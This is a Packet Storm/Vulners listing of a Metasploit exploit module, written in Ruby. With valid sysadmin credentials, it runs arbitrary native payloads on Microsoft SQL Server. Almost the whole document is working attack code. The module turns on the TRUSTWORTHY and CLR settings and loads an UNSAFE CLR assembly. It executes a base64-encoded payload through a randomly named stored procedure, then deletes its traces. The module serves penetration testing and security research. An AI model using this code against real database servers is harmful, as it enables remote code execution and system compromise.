Lucene search
K

Microsoft SQL Server Clr Stored Procedure Payload Execution

🗓️ 18 Feb 2017 00:00:00Reported by OJ ReevesType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 96 Views

Microsoft SQL Server Clr Stored Procedure Payload Execution - Executes native payload on SQL server by loading custom SQL CLR Assembly and calling it with base64-encoded payload. Requires working credentials and sufficient privileges to install custom SQL CRL DLL and invoke custom stored procedure. Leaves no binaries on disk

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::MSSQL  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution',  
'Description' => %q{  
This module executes an arbitrary native payload on a Microsoft SQL  
server by loading a custom SQL CLR Assembly into the target SQL  
installation, and calling it directly with a base64-encoded payload.  
  
The module requires working credentials in order to connect directly to the  
MSSQL Server.  
  
This method requires the user to have sufficient privileges to install a custom  
SQL CRL DLL, and invoke the custom stored procedure that comes with it.  
  
This exploit does not leave any binaries on disk.  
  
Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).  
},  
'Author' =>  
[  
'Lee Christensen', # original idea/research  
'Nathan Kirk', # extra research/blog post  
'OJ Reeves' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/']  
],  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' => [['Automatic', {}]],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jan 01 1999'  
))  
  
register_options(  
[  
OptString.new('DATABASE', [true, 'The database to load the CLR Assembly into.', 'master'])  
])  
end  
  
def check  
unless mssql_login_datastore(datastore['DATABASE'])  
vprint_status('Invalid SQL Server credentials')  
return Exploit::CheckCode::Detected  
end  
  
version = get_sql_version_string  
  
unless version =~ /Server 20(05|08|12|14|16)/  
vprint_status('Unsupported version of SQL Server')  
return Exploit::CheckCode::Safe  
end  
  
if mssql_is_sysadmin  
vprint_good "User #{datastore['USERNAME']} is a sysadmin"  
Exploit::CheckCode::Vulnerable  
else  
Exploit::CheckCode::Safe  
end  
ensure  
disconnect  
end  
  
def get_sql_version_string  
mssql_query("select @@version", false)[:rows].first[0]  
end  
  
def get_sql_architecture(sql_version_string)  
if sql_version_string =~ /(64-bit|x64)/i  
ARCH_X64  
else  
ARCH_X86  
end  
end  
  
def get_exploit_version(sql_version_string)  
# keeping it simple at this point.  
if sql_version_string =~ /Server (2005|2008|2012)/  
'v3.5'  
else  
# assume 2014/2016 at this point.  
'v4.0'  
end  
end  
  
def set_trustworthy(on)  
mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false)  
end  
  
def is_trustworthy  
# SQLi in MSF!! OMG!  
result = mssql_query("SELECT CASE is_trustworthy_on WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.databases WHERE name ='#{datastore['DATABASE']}'", false)  
result[:rows][0] == 'ON'  
end  
  
def enable_clr(enable)  
query = %Q^  
EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE;  
EXEC sp_configure 'clr enabled', #{enable ? 1 : 0};  
RECONFIGURE;  
^  
mssql_query(query, false)  
end  
  
def is_clr_enabled  
result = mssql_query("SELECT CASE value WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.configurations WHERE name = 'clr enabled'", false)  
result[:rows][0] == 'ON'  
end  
  
def exploit  
unless mssql_login_datastore(datastore['DATABASE'])  
fail_with(Failure::BadConfig, 'Unable to login with the given credentials')  
end  
  
unless mssql_is_sysadmin  
fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions')  
end  
  
# This module will only support 'thread' for EXITFUNC  
# Bad things happen to SQL otherwise!  
unless datastore['EXITFUNC'] == 'thread'  
print_warning("Setting EXITFUNC to 'thread' so we don't kill SQL Server")  
datastore['EXITFUNC'] = 'thread'  
end  
  
sql_version = get_sql_version_string  
vprint_status("Target SQL Version is:\n#{sql_version}")  
  
sql_arch = get_sql_architecture(sql_version)  
unless payload.arch.first == sql_arch  
fail_with(Failure::BadConfig, "Target SQL server arch is #{sql_arch}, payload architecture is #{payload.arch.first}")  
end  
  
trustworthy = is_trustworthy  
clr_enabled = is_clr_enabled  
  
unless trustworthy  
print_status('Database does not have TRUSTWORTHY setting on, enabling ...')  
set_trustworthy(true)  
end  
  
unless clr_enabled  
print_status('Database does not have CLR support enabled, enabling ...')  
enable_clr(true)  
end  
  
exploit_version = get_exploit_version(sql_version)  
print_status("Using version #{exploit_version} of the Payload Assembly")  
exploit_file_path = ::File.join(Msf::Config.install_root, 'data',  
'SqlClrPayload', exploit_version, 'SqlClrPayload.dll')  
vprint_status("Using #{exploit_file_path}")  
  
assembly = ::File.read(exploit_file_path)  
  
# Convert the assembly to the required format for execution of the stored  
# procedure to create the custom stored proc  
hex_assembly = "0x#{assembly.unpack('H*')[0]}"  
asm_name = Rex::Text.rand_text_alpha(rand(4) + 8)  
query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE"  
  
print_status('Adding custom payload assembly ...')  
mssql_query(query, false)  
  
proc_name = Rex::Text.rand_text_alpha(rand(4) + 8)  
param_name = Rex::Text.rand_text_alpha(rand(4) + 8)  
query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]"  
  
print_status('Exposing payload execution stored procedure ...')  
mssql_query(query, false)  
  
# Generate the base64 encoded payload  
b64payload = Rex::Text.encode_base64(payload.encoded)  
query = "EXEC [dbo].[#{proc_name}] '#{b64payload}'"  
print_status('Executing the payload ...')  
mssql_query(query, false)  
  
print_status('Removing stored procedure ...')  
mssql_query("DROP PROCEDURE [dbo].[#{proc_name}]", false)  
  
print_status('Removing assembly ...')  
mssql_query("DROP ASSEMBLY [#{asm_name}]", false)  
  
unless clr_enabled  
print_status('Restoring CLR setting ...')  
enable_clr(false)  
end  
  
unless trustworthy  
print_status('Restoring Trustworthy setting ...')  
set_trustworthy(false)  
end  
  
ensure  
disconnect  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation